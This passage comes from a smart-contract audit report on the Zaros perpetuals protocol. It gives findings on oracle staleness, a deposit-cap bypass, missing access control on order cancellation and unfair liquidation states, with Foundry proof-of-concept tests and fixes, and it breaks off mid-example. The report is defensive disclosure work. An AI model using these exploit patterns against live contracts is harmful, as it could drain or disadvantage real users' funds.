        assertEq(collateralType4, collateralLiquidationPriority.at(3));
        assertEq(collateralType5, collateralLiquidationPriority.at(4));

        // everything looks good, the collateral priority is 1->2->3->4->5

        // now remove the first element as we don't want it to be a valid
        // collateral anymore
        collateralLiquidationPriority.remove(collateralType1);

        // length is OK
        assertEq(4, collateralLiquidationPriority.length());

        // we now expect the order to be 2->3->4->5
        // but EnumerableSet explicitly provides no guarantees on ordering
        // and for removing elements uses the `swap-and-pop` technique
        // for performance reasons. Hence the 1st priority collateral will
        // now be the last one!
        assertEq(collateralType5, collateralLiquidationPriority.at(0));

        // the collateral priority order is now 5->2->3->4 which is wrong!
        assertEq(collateralType2, collateralLiquidationPriority.at(1));
        assertEq(collateralType3, collateralLiquidationPriority.at(2));
        assertEq(collateralType4, collateralLiquidationPriority.at(3));
```

```
    }
}
```

Recommended Mitigation: Use a data structure that preserves order to store the collateral liquidation priority.

Alternatively OpenZeppelin's `EnumerableSet` can be used but its `remove` function should never be called - when removing collateral the entire set must be emptied and a new set configured with the previous ordering minus the removed element.

Zaros: Fixed in commit 862a3c6.

Cyfrin: Verified.

7.2.3 Trader can't reduce open position size when under initial margin requirement but over maintenance margin requirement

Description: `OrderBranch::createMarketOrder` and `SettlementBranch::_fillOrder` always enforce the initial margin requirement, even when a trader is reducing the size of a previously opened position.

Impact: When a trader's position has negative PNL and no longer satisfies the initial margin requirement, the trader may wish to reduce the position size before their position continues to deteriorate and goes below the maintenance margin requirement which would cause their position to be liquidated.

However in this case when the trader attempts to reduce their position size the transaction will always revert since `OrderBranch::createMarketOrder` and `SettlementBranch::_fillOrder` always enforce the initial margin requirement even when reducing already opened positions.

Hence a trader is unable to scale down their exposure to a losing position that is not yet subject to liquidation.

Proof of Concept: Add the following PoC to `test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.sol`:

```
function test_TraderCantReducePositionSizeWhenCollateralUnderIntitialRequired() external {
    // give naruto some tokens
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 10e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto opens position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // market moves against Naruto's position
    // giving Naruto a negative PNL but not to the point of liquidation
    // if changed this to "/10" instead of "/11" naruto would be liquidatable,
    // so this is just on the verge of being liquidated
    uint256 updatedPrice = MOCK_BTC_USD_PRICE-MOCK_BTC_USD_PRICE/11;
    updateMockPriceFeed(BTC_USD_MARKET_ID, updatedPrice);

    // naruto's position now is below the initial margin requirement
    // but above the maintenance requirement. Naruto attempts to
    // reduce their position size to limit exposure but this reverts
    // with `InsufficientMargin` since `OrderBranch::createMarketOrder`
    // and `SettlementBranch::_fillOrder` always check against initial
    // margin requirements even when reducing already opened positions
    openManualPosition(BTC_USD_MARKET_ID,
                       BTC_USD_STREAM_ID,
                       updatedPrice,
```

```
                        tradingAccountId,
                        USER_POS_SIZE_DELTA-USER_POS_SIZE_DELTA/2);
}
```

Run with: `forge test --match-test test_TraderCantReducePositionSizeWhenCollateralUnderIntitial-Required -vvv`

Recommended Mitigation: When modifying an already opened position, `OrderBranch::createMarketOrder` and `SettlementBranch::_fillOrder` should check against the required maintenance margin. A trader who is not subject to liquidation should be able to reduce their position size when they are under the required initial margin but over the required maintenance margin.

Zaros: Fixed in commit 22a0385.

Cyfrin: Verified.

7.3 Medium Risk

7.3.1 `ChainlinkUtil::getPrice` doesn't check for stale price

Description: `ChainlinkUtil::getPrice` doesn't check for stale prices.

Impact: Code will execute with prices that don't reflect the current pricing resulting in a potential loss of funds for users.

Recommended Mitigation: Check `updatedAt` returned by `latestRoundData` against each price feed's individual heartbeat. Heartbeats could be stored in:

- `MarginCollateralConfiguration::Data`
- `MarketConfiguration::Data`

Zaros: Fixed in commit c70c9b9.

Cyfrin: Verified.

7.3.2 `ChainlinkUtil::getPrice` doesn't check if L2 Sequencer is down

Description: When using Chainlink with L2 chains like Arbitrum, smart contracts must check whether the L2 Sequencer is down to avoid stale pricing data that appears fresh.

Impact: Code will execute with prices that don't reflect the current pricing resulting in a potential loss of funds for users.

Recommended Mitigation: Chainlink's official documentation provides an example implementation of checking L2 sequencers.

Zaros: Fixed in commits c927d94 & 0ddd913.

Cyfrin: Verified.

7.3.3 `ChainlinkUtil::getPrice` will use incorrect price when underlying aggregator reaches `minAnswer`

Description: Chainlink price feeds have in-built minimum & maximum prices they will return; if due to an unexpected event an asset's value falls below the price feed's minimum price, the oracle price feed will continue to report the (now incorrect) minimum price.

`ChainlinkUtil::getPrice` doesn't handle this case.

Impact: Code will execute with prices that don't reflect the current pricing resulting in a potential loss of funds for users.

Recommended Mitigation: Revert unless `minAnswer < answer < maxAnswer`.

Zaros: Fixed in commits b14b208 & 4a5e53c.

Cyfrin: Verified.

7.3.4 Users can easily bypass collateral `depositCap` limit using multiple deposits under the limit

Description: Margin collateral has a `depositCap` configuration to limit the total deposited amount for a particular collateral type.

But validation in `_requireEnoughDepositCap()` reverts when the current amount being deposited is greater than `depositCap`.

```
function _requireEnoughDepositCap(address collateralType, UD60x18 amount, UD60x18 depositCap) internal
↪  pure {
    if (amount.gt(depositCap)) {
        revert Errors.DepositCap(collateralType, amount.intoUint256(), depositCap.intoUint256());
    }
```

```
}
```

As it doesn't check the total deposited amount for that collateral type, users can deposit as much as they want by using separate transactions each being under `depositCap`.

Impact: Users can deposit more margin collateral than `depositCap`.

Recommended Mitigation: `_requireEnoughDepositCap` should check if the total deposited amount for that collateral type plus the new deposit is not greater than `depositCap`.

Zaros: Fixed in commit 0d37299.

Cyfrin: Verified.

7.3.5 Anyone can cancel traders' market orders due to missing access control in `OrderBranch::cancelMarketOrder`

Description: Anyone can cancel traders' market orders due to missing access control in `OrderBranch::cancelMarketOrder`:

```
function cancelMarketOrder(uint128 tradingAccountId) external {
    MarketOrder.Data storage marketOrder = MarketOrder.loadExisting(tradingAccountId);

    marketOrder.clear();

    emit LogCancelMarketOrder(msg.sender, tradingAccountId);
}
```

Impact: Anyone can cancel traders' market orders.

Recommended Mitigation: `OrderBranch::cancelMarketOrder` should check if the caller is an owner of the trading account.

```
    function cancelMarketOrder(uint128 tradingAccountId) external {
+       TradingAccount.loadExistingAccountAndVerifySender(tradingAccountId);

        MarketOrder.Data storage marketOrder = MarketOrder.loadExisting(tradingAccountId);

        marketOrder.clear();

        emit LogCancelMarketOrder(msg.sender, tradingAccountId);
    }
```

Zaros: Fixed in commit d37c37a.

Cyfrin: Verified.

7.3.6 Protocol operator can disable market with open positions, making it impossible for traders to close their open positions but still subjecting them to potential liquidation

Description: `GlobalConfigurationBranch::updatePerpMarketStatus` allows the protocol operator to disable markets without checking if those markets have open positions; this allows the operator to disable a market with open positions.

Impact: The protocol can enter a state where traders who previously opened leveraged positions in a market are subsequently unable to close those positions. However these positions are still subject to liquidation since the liquidation code continues to function even when markets are disabled.

Hence the protocol can enter a state where traders are unfairly severely disadvantaged; unable to close their open leveraged positions but still subject to liquidation if the market moves against them.

Proof of Concept: Add the following PoC to `test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.t.sol`:

```
function test_ImpossibleToClosePositionIfMarkedDisabledButStillLiquidatable() external {
    // give naruto some tokens
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 10e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto opens first position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // protocol operator disables the BTC market
    changePrank({ msgSender: users.owner });
    perpsEngine.updatePerpMarketStatus({ marketId: BTC_USD_MARKET_ID, enable: false });

    // naruto attempts to close their position
    changePrank({ msgSender: users.naruto });

    // naruto attmpts to close their opened leverage BTC position but it
    // reverts with PerpMarketDisabled error. However the position is still
    // subject to liquidation!
    //
    // after running this test the first time to verify it reverts with PerpMarketDisabled,
    // comment out this next line then re-run test to see Naruto can be liquidated
    // even though Naruto can't close their open position - very unfair!
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  -USER_POS_SIZE_DELTA);

    // make BTC position liquidatable
    updateMockPriceFeed(BTC_USD_MARKET_ID, MOCK_BTC_USD_PRICE/2);

    // verify naruto can now be liquidated
    uint128[] memory liquidatableAccountsIds = perpsEngine.checkLiquidatableAccounts(0, 1);
    assertEq(1, liquidatableAccountsIds.length);
    assertEq(tradingAccountId, liquidatableAccountsIds[0]);

    // liquidate naruto - works fine! naruto was liquidated even though
    // they couldn't close their position!
    changePrank({ msgSender: liquidationKeeper });
    perpsEngine.liquidateAccounts(liquidatableAccountsIds, users.settlementFeeRecipient);
}
```

Run with: `forge test --match-test test_ImpossibleToClosePositionIfMarkedDisabledButStillLiquidatable -vvv`

Recommended Mitigation: Liquidation should always be possible so it wouldn't be a good idea to prevent liquidation on disabled markets. Two potential options:

- Prevent disabling markets with open positions
- Allow users to close their open positions in disabled markets

Zaros: Fixed in commit 65b08f0.

Cyfrin: Verified.

7.3.7 Liquidation leaves traders with unhealthier and riskier collateral basket, making them more likely to be liquidated in future trades

Description: The protocol's proposed collateral priority queue with associated Loan-To-Value (LTV) is:

```
1 - USDz   - 1e18 LTV
2 - USDC   - 1e18 LTV
3 - WETH   - 0.8e18 LTV
4 - WBTC   - 0.8e18 LTV
5 - wstETH - 0.7e18 LTV
6 - weETH  - 0.7e18 LTV
```

This means that the protocol will:

- first liquidate the more stable collateral with higher LTV
- only after these have been exhausted will it liquidate the less stable, riskier collaterals with lower LTV

Impact: When a trader is liquidated, their resulting collateral basket will contain less stable, more riskier collateral. This makes it more likely they will be liquidated in future trades.

Recommended Mitigation: The collateral priority queue should first liquidate riskier, more volatile collateral with lower LTV.

Zaros: Fixed in commit 5baa628.

Cyfrin: Verified.

7.3.8 Keeper fills market order using incorrect old `marketId` but newly updated position size when trader updates open order immediately before keeper processes original order

Description: Consider the following scenario:

1) A trader creates an order for the BTC market with position size POS_SIZE_A
2) Some time passes and the order is not filled by the keeper
3) At the same time: 3a) The keeper attempts to fill the trader's current open BTC order 3b) The trader creates a transaction to update their order to a different market with position size POS_SIZE_B

If 3b) is executed before 3a) then when 3a) is executed the keeper will fill the order:

- for the incorrect old BTC market
- but with the newly updated position size POS_SIZE_B!

Impact: The keeper will fill the order for an incorrect market with an incorrect position size.

Proof of Concept: Add the PoC to `test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.`

```
// additional import at top
import { Position } from "@zaros/perpetuals/leaves/Position.sol";

function test_KeeperFillsOrderToIncorrectMarketAfterUserUpdatesOpenOrder() external {
    // give naruto some tokens
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 10e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto creates an open order in the BTC market
    perpsEngine.createMarketOrder(
```

```
        OrderBranch.CreateMarketOrderParams({
            tradingAccountId: tradingAccountId,
            marketId: BTC_USD_MARKET_ID,
            sizeDelta: USER_POS_SIZE_DELTA
        })
    );

    // some time passes and the order is not filled
    vm.warp(block.timestamp + MARKET_ORDER_MAX_LIFETIME + 1);

    // at the same time:
    // 1) keeper creates a transaction to fill naruto's open BTC order
    // 2) naruto updates their open order to place it on ETH market

    // 2) gets executed first; naruto changes position size and market id
    int128  USER_POS_2_SIZE_DELTA = 5e18;

    perpsEngine.createMarketOrder(
        OrderBranch.CreateMarketOrderParams({
            tradingAccountId: tradingAccountId,
            marketId: ETH_USD_MARKET_ID,
            sizeDelta: USER_POS_2_SIZE_DELTA
        })
    );

    // 1) gets executed afterwards - the keeper is calling this
    // with the parameters of the first opened order, in this case
    // with BTC's market id and price !
    bytes memory mockSignedReport = getMockedSignedReport(BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE);
    changePrank({ msgSender: marketOrderKeepers[BTC_USD_MARKET_ID] });
    perpsEngine.fillMarketOrder(tradingAccountId, BTC_USD_MARKET_ID, mockSignedReport);

    // the keeper filled Naruto's original BTC order even though
    // Naruto had first updated the order to be for the ETH market;
    // Naruto now has an open BTC position. Also it was filled using
    // the *updated* order size!
    changePrank({ msgSender: users.naruto });

    // load naruto's position for BTC market
    Position.State memory positionState = perpsEngine.getPositionState(tradingAccountId,
    ↪  BTC_USD_MARKET_ID, MOCK_BTC_USD_PRICE);

    // verify that the position size of the filled BTC position
    // matches the size of the updated ETH order!
    assertEq(USER_POS_2_SIZE_DELTA, positionState.sizeX18.intoInt256());
}
```

Run with: `forge test --match-test test_KeeperFillsOrderToIncorrectMarketAfterUserUpdatesOpenOrder -vvv`

Recommended Mitigation: `SettlementBranch::fillMarketOrder` should revert if `marketId != marketOrder.marketId`.

Zaros: Fixed in commit 31a19ef.

Cyfrin: Verified.

7.3.9 `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlUsd` uses incorrect price during order settlement

Description: During order settlement `SettlementBranch::_fillOrder` uses an off-chain price provided by the keeper:

```
File: SettlementBranch.sol
120:         ctx.fillPrice = perpMarket.getMarkPrice(
121:             ctx.sizeDelta, settlementConfiguration.verifyOffchainPrice(priceData,
↪  ctx.sizeDelta.gt(SD_ZERO))
122:         );
123:
124:         ctx.fundingRate = perpMarket.getCurrentFundingRate();
125:         ctx.fundingFeePerUnit = perpMarket.getNextFundingFeePerUnit(ctx.fundingRate,
↪  ctx.fillPrice);
```

All variables including `ctx.fillPrice` and `ctx.fundingFeePerUnit` are calculated based on this price.

But during the margin requirement validation in `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlUsd` the price input provided by the keeper is not used, instead this uses an index price:

```
File: TradingAccount.sol
207:             UD60x18 markPrice = perpMarket.getMarkPrice(sizeDeltaX18, perpMarket.getIndexPrice());
208:             SD59x18 fundingFeePerUnit =
209:                 perpMarket.getNextFundingFeePerUnit(perpMarket.getCurrentFundingRate(), markPrice);
```

Impact: All calculations in `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlUsd` may be incorrect as the price provided by the keeper may differ from the current index price. Hence during an order settlement `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnlUsd` may return incorrect outputs.

Recommended Mitigation: During order settlement `TradingAccount::getAccountMarginRequirementUsdAndUnrealizedPnl` should use the same off-chain price for `targetMarketId` provided by the keeper.

Zaros: Acknowledged; this is something we will refactor in V2. In practice the difference is negligible; in the "worst-case" scenario what could happen is that an order would be filled even though the user was slightly under the initial margin requirement. While not desirable, the user would not be subject to immediate liquidation as that occurs at the maintenance margin, so the impact here appears very minimal.

7.3.10 Protocol operator can disable settlement for market with open positions, making it impossible for traders to close their open positions but still subjecting them to potential liquidation

Description: `GlobalConfiguration::updateSettlementConfiguration` allows the protocol operator to disable settlement for markets without checking if those markets have open positions; this allows the operator to disable settlement for a market with open positions.

Impact: The protocol can enter a state where traders who previously opened leveraged positions in a market are subsequently unable to close those positions. However these positions are still subject to liquidation since the liquidation code continues to function even when settlement is disabled.

Hence the protocol can enter a state where traders are unfairly severely disadvantaged; unable to close their open leveraged positions but still subject to liquidation if the market moves against them.

Proof of Concept: Add the following PoC to `test/integration/perpetuals/order-branch/createMarketOrder/createMarketOrder.t.sol`:

```
// new import at top
import { IVerifierProxy } from "@zaros/external/chainlink/interfaces/IVerifierProxy.sol";

function test_ImpossibleToClosePositionIfSettlementDisabledButStillLiquidatable() external {
    // give naruto some tokens
```

```
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 10e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto opens first position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // protocol operator disables settlement for the BTC market
    changePrank({ msgSender: users.owner });

    SettlementConfiguration.DataStreamsStrategy memory marketOrderConfigurationData =
    ↪  SettlementConfiguration
        .DataStreamsStrategy({ chainlinkVerifier: IVerifierProxy(mockChainlinkVerifier), streamId:
        ↪  BTC_USD_STREAM_ID });

    SettlementConfiguration.Data memory marketOrderConfiguration = SettlementConfiguration.Data({
        strategy: SettlementConfiguration.Strategy.DATA_STREAMS_ONCHAIN,
        isEnabled: false,
        fee: DEFAULT_SETTLEMENT_FEE,
        keeper: marketOrderKeepers[BTC_USD_MARKET_ID],
        data: abi.encode(marketOrderConfigurationData)
    });

    perpsEngine.updateSettlementConfiguration(BTC_USD_MARKET_ID,
                                              SettlementConfiguration.MARKET_ORDER_CONFIGURATION_ID,
                                              marketOrderConfiguration);

    // naruto attempts to close their position
    changePrank({ msgSender: users.naruto });

    // naruto attmpts to close their opened leverage BTC position but it
    // reverts with PerpMarketDisabled error. However the position is still
    // subject to liquidation!
    //
    // after running this test the first time to verify it reverts with SettlementDisabled,
    // comment out this next line then re-run test to see Naruto can be liquidated
    // even though Naruto can't close their open position - very unfair!
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  -USER_POS_SIZE_DELTA);

    // make BTC position liquidatable
    updateMockPriceFeed(BTC_USD_MARKET_ID, MOCK_BTC_USD_PRICE/2);

    // verify naruto can now be liquidated
    uint128[] memory liquidatableAccountsIds = perpsEngine.checkLiquidatableAccounts(0, 1);
    assertEq(1, liquidatableAccountsIds.length);
    assertEq(tradingAccountId, liquidatableAccountsIds[0]);

    // liquidate naruto - works fine! naruto was liquidated even though
    // they couldn't close their position!
    changePrank({ msgSender: liquidationKeeper });
    perpsEngine.liquidateAccounts(liquidatableAccountsIds, users.settlementFeeRecipient);
}
```

Run with: `forge test --match-test test_ImpossibleToClosePositionIfSettlementDisabledButStillLiq-`

`uidatable -vvv`

Recommended Mitigation: Liquidation should always be possible so it wouldn't be a good idea to prevent liquidation if settlement is disabled. Two potential options:

- Prevent disabling settlement for markets with open positions
- Allow users to close their open positions in markets which have settlement disabled

Zaros: Fixed in commit 08d96cf.

Cyfrin: Verified.

7.3.11 Update to funding rate parameters retrospectively impacts accrued funding rates

Description: On centralized perpetuals protocols funding rates are typically settled every 8 hours however on Zaros they "accrue" and are settled when the trader interacts with their position. The protocol owner also has the power to alter funding rate parameters which when altered apply retrospectively.

Impact: Traders who are not frequently modifying their positions can be either positively or negatively retrospectively impacted by changes to the funding rate parameters. The retrospective application is unfair to traders because traders are under the impression that they are accruing funding rates at the current configuration parameters.

Proof of Concept: Add the following PoC to `test/integration/order-branch/createMarketOrder/createMarketOrder.t.sc`

```
function test_configChangeRetrospectivelyImpactsAccruedFundingRates() external {
    // give naruto some tokens
    uint256 USER_STARTING_BALANCE = 100_000e18;
    int128  USER_POS_SIZE_DELTA   = 10e18;
    deal({ token: address(usdToken), to: users.naruto, give: USER_STARTING_BALANCE });

    // naruto creates a trading account and deposits their tokens as collateral
    changePrank({ msgSender: users.naruto });
    uint128 tradingAccountId = createAccountAndDeposit(USER_STARTING_BALANCE, address(usdToken));

    // naruto opens position in BTC market
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  USER_POS_SIZE_DELTA);

    // naruto keeps their position open for 1 week
    vm.warp(block.timestamp + 1 weeks);

    // snapshot EVM state at this point
    uint256 snapshotId = vm.snapshot();

    // naruto closes their BTC position
    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  -USER_POS_SIZE_DELTA);

    // naruto now withdraws all their collateral
    perpsEngine.withdrawMargin(tradingAccountId, address(usdToken),
        perpsEngine.getAccountMarginCollateralBalance(tradingAccountId,
        ↪  address(usdToken)).intoUint256());

    // verify that naruto has lost $ due to order/settlement fees
    // and paying funding rate
    uint256 firstEndBalance = usdToken.balanceOf(users.naruto); // 99122 456325000000000000
    assertEq(99122456325000000000000, firstEndBalance);

    // restore EVM state to snapshot
    vm.revertTo(snapshotId);
```

```
    // right before naruto closes their position, protocol admin
    // changes parameters which affect the funding rates
    GlobalConfigurationBranch.UpdatePerpMarketConfigurationParams memory params =
        GlobalConfigurationBranch.UpdatePerpMarketConfigurationParams({
        marketId: BTC_USD_MARKET_ID,
        name: marketsConfig[BTC_USD_MARKET_ID].marketName,
        symbol: marketsConfig[BTC_USD_MARKET_ID].marketSymbol,
        priceAdapter: marketsConfig[BTC_USD_MARKET_ID].priceAdapter,
        initialMarginRateX18: marketsConfig[BTC_USD_MARKET_ID].imr,
        maintenanceMarginRateX18: marketsConfig[BTC_USD_MARKET_ID].mmr,
        maxOpenInterest: marketsConfig[BTC_USD_MARKET_ID].maxOi,
        maxSkew: marketsConfig[BTC_USD_MARKET_ID].maxSkew,
        // protocol admin increases max funding velocity
        maxFundingVelocity: BTC_USD_MAX_FUNDING_VELOCITY * 10,
        minTradeSizeX18: marketsConfig[BTC_USD_MARKET_ID].minTradeSize,
        skewScale: marketsConfig[BTC_USD_MARKET_ID].skewScale,
        orderFees: marketsConfig[BTC_USD_MARKET_ID].orderFees
    });

    changePrank({ msgSender: users.owner });
    perpsEngine.updatePerpMarketConfiguration(params);

    // naruto then closes their BTC position
    changePrank({ msgSender: users.naruto });

    openManualPosition(BTC_USD_MARKET_ID, BTC_USD_STREAM_ID, MOCK_BTC_USD_PRICE, tradingAccountId,
    ↪  -USER_POS_SIZE_DELTA);

    // naruto now withdraws all their collateral
    perpsEngine.withdrawMargin(tradingAccountId, address(usdToken),
        perpsEngine.getAccountMarginCollateralBalance(tradingAccountId,
        ↪  address(usdToken)).intoUint256());

    // verify that naruto has lost $ due to order/settlement fees
    // and paying funding rate
    uint256 secondEndBalance = usdToken.balanceOf(users.naruto); // 98460 923250000000000000
    assertEq(9846092325000000000000, secondEndBalance);

    // the update to the funding configuration parameter was
    // applied retrospectively increasing the funding rate
    // naruto had to pay for holding their position the entire
    // time - rather unfair!
    assert(secondEndBalance < firstEndBalance);
}
```

Run with: `forge test --match-test test_configChangeRetrospectivelyImpactsAccruedFundingRates -vvv`

Recommended Mitigation: Ideally funding rates would be settled on a regular interval such as every 8 hours, and before protocol owners changed key funding rate parameters all funding rates for open positions would first be settled.

However this may not be feasible on decentralized systems.

Zaros: Acknowledged.

7.3.12 `SettlementBranch::_fillOrder` doesn't pay order and settlement fees if PNL is positive

Description: `SettlementBranch::_fillOrder` while calculating the PNL at L161 deducts these fees from the calculated PNL, but if the PNL is positive later on around L204 it doesn't pay order and settlement fees to the appropriate fee recipients.

```
File: SettlementBranch.sol
159:         ctx.pnl = oldPosition.getUnrealizedPnl(ctx.fillPrice).add(
160:             oldPosition.getAccruedFunding(ctx.fundingFeePerUnit)
161:         ).add(unary(ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18())));
...
204:         } else if (ctx.pnl.gt(SD_ZERO)) {
205:             UD60x18 amountToIncrease = ctx.pnl.intoUD60x18();
206:             tradingAccount.deposit(ctx.usdToken, amountToIncrease);
```

Impact: Order and settlement fee recipients will receive less funds than intended.

Recommended Mitigation: `SettlementBranch::_fillOrder` should pay order and settlement fees to the appropriate recipients when PNL is positive.

Zaros: Fixed in commit 516bc2a.

Cyfrin: Verified.

7.4 Low Risk

7.4.1 `TradingAccount::deductAccountMargin` can incorrectly add the same values multiple times to output parameter `marginDeductedUsdX18`

Description: In `TradingAccount::deductAccountMargin`, `ctx.settlementFeeDeductedUsdX18`, `ctx.orderFeeDeductedUsdX18`, and `ctx.pnlDeductedUsdX18` are added to `marginDeductedUsdX18` inside the `for` loop:

```
File: TradingAccount.sol
443:             marginDeductedUsdX18 = marginDeductedUsdX18.add(ctx.settlementFeeDeductedUsdX18);
458:             marginDeductedUsdX18 = marginDeductedUsdX18.add(ctx.orderFeeDeductedUsdX18);
475:             marginDeductedUsdX18 = marginDeductedUsdX18.add(ctx.pnlDeductedUsdX18);
```

Impact: As those 3 values are accumulated withdrawn collateral amounts, the same amount will be added several times and `marginDeductedUsdX18` will be larger than expected.

Proof of Concept: Consider a scenario where:

- the settlement fee `if` statement executes once with `ctx.isMissingMargin == false`
- this then increments `marginDeductedUsdX18` by `ctx.settlementFeeDeductedUsdX18`
- the order fee `if` statement executes once with `ctx.isMissingMargin == true`
- this triggers `continue` which immediately jumps to next loop iteration
- the settlement fee `if` statement is skipped since the settlement fee has been paid
- `marginDeductedUsdX18` is again incremented by `ctx.settlementFeeDeductedUsdX18` !

In this scenario `marginDeductedUsdX18` was incremented twice by `ctx.settlementFeeDeductedUsdX18`. The same thing can happen with `ctx.orderFeeDeductedUsdX18`.

Recommended Mitigation: Update `marginDeductedUsdX18` at the end of the function instead of inside the loop:

```
function deductAccountMargin() {
    for (uint256 i = 0; i < globalConfiguration.collateralLiquidationPriority.length(); i++) {
        /* snip: loop processing */
        // @audit removed updates to `marginDeductedUsdX18` during loop
    }

    // @audit update `marginDeductedUsdX18` only once at end of loop
    marginDeductedUsdX18 =
    ↪  ctx.settlementFeeDeductedUsdX18.add(ctx.orderFeeDeductedUsdX18).add(ctx.pnlDeductedUsdX18);
}
```

Zaros: Fixed in commit 9bcf9f8.

Cyfrin: Verified.

7.4.2 `SettlementBranch::_fillOrder` can revert for positions with negative PNL in markets with negative maker/taker fees

Description: `SettlementBranch::_fillOrder` calculates the position's PNL as `pnl = (unrealizedPnl + accruedFunding) + (unary(orderFee + settlementFee))`:

```
File: SettlementBranch.sol
141: ctx.pnl = oldPosition.getUnrealizedPnl(ctx.fillPrice).add(
142:     oldPosition.getAccruedFunding(ctx.fundingFeePerUnit)
143:     ).add(unary(ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18())));
```

```
144:
```

If the PNL is negative, `marginToDeductUsdX18` is calculated by deducting the setttlement/order fees.

```
171: if (ctx.pnl.lt(SD_ZERO)) {
172:     UD60x18 marginToDeductUsdX18 =
↪  ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18()).gt(SD_ZERO)
173:     ?
↪  ctx.pnl.abs().intoUD60x18().sub(ctx.orderFeeUsdX18.intoUD60x18().add(ctx.settlementFeeUsdX18))
174:     : ctx.pnl.abs().intoUD60x18();
175:
176:     tradingAccount.deductAccountMargin({
177:         feeRecipients: FeeRecipients.Data({
178:         marginCollateralRecipient: globalConfiguration.marginCollateralRecipient,
179:         orderFeeRecipient: globalConfiguration.orderFeeRecipient,
180:         settlementFeeRecipient: globalConfiguration.settlementFeeRecipient
181:     }),
182:     pnlUsdX18: marginToDeductUsdX18,
183:     orderFeeUsdX18: ctx.orderFeeUsdX18.gt(SD_ZERO) ? ctx.orderFeeUsdX18.intoUD60x18() : UD_ZERO,
184:     settlementFeeUsdX18: ctx.settlementFeeUsdX18
185:     });
```

As we can see at L183, it assumes `orderFeeUsdX18` could be a negative amount which is possible only when `makerFee/takerFee` is negative.

But during the calculation at L173, it converts `orderFeeUsdX18` to `UD60x18` directly and it will revert with a negative order fee.

```
/// @notice Casts an SD59x18 number into UD60x18.
/// @dev Requirements:
/// - x must be positive.
function intoUD60x18(SD59x18 x) pure returns (UD60x18 result) {
    int256 xInt = SD59x18.unwrap(x);
    if (xInt < 0) {
        revert CastingErrors.PRBMath_SD59x18_IntoUD60x18_Underflow(x);
    }
    result = UD60x18.wrap(uint256(xInt));
}
```

If this revert did not occur, the calculation of `marginToDeductUsdX18` would be incorrect:

```
Normal Case - positive order fee
================================

unrealizedPnl + accruedFunding = -1000, orderFeeUsdX18 = 100, settlementFeeUsdX18 = 200

ctx.pnl = oldPosition.getUnrealizedPnl(ctx.fillPrice).add(
    oldPosition.getAccruedFunding(ctx.fundingFeePerUnit)
).add(unary(ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18())));

ctx.pnl = -1000 + (unary(100 + 200))
        = -1000 + (unary(300))
        = -1000 - 300
        = -1300

=> ctx.pnl increased by sum of order and settlement fee)


UD60x18 marginToDeductUsdX18 = ctx.orderFeeUsdX18.add(ctx.settlementFeeUsdX18.intoSD59x18()).gt(SD_ZERO)
```

```
    ? ctx.pnl.abs().intoUD60x18().sub(ctx.orderFeeUsdX18.intoUD60x18().add(ctx.settlementFeeUsdX18))
    : ctx.pnl.abs().intoUD60x18();

marginToDeductUsdX18 =
↪  ctx.pnl.abs().intoUD60x18().sub(ctx.orderFeeUsdX18.intoUD60x18().add(ctx.settlementFeeUsdX18))
                    = 1300 - (100 + 200)
                    = 1300 - 300
                    = 1000

=> marginToDeductUsdX18 equal to original unrealizedPnl+accruedFunding


Edge Case - negative order fee
==============================

unrealizedPnl + accruedFunding = -1000, orderFeeUsdX18 = -100, settlementFeeUsdX18 = 200

ctx.pnl = oldPosition.getUnrealizedPnl(ctx.fillPrice).add(
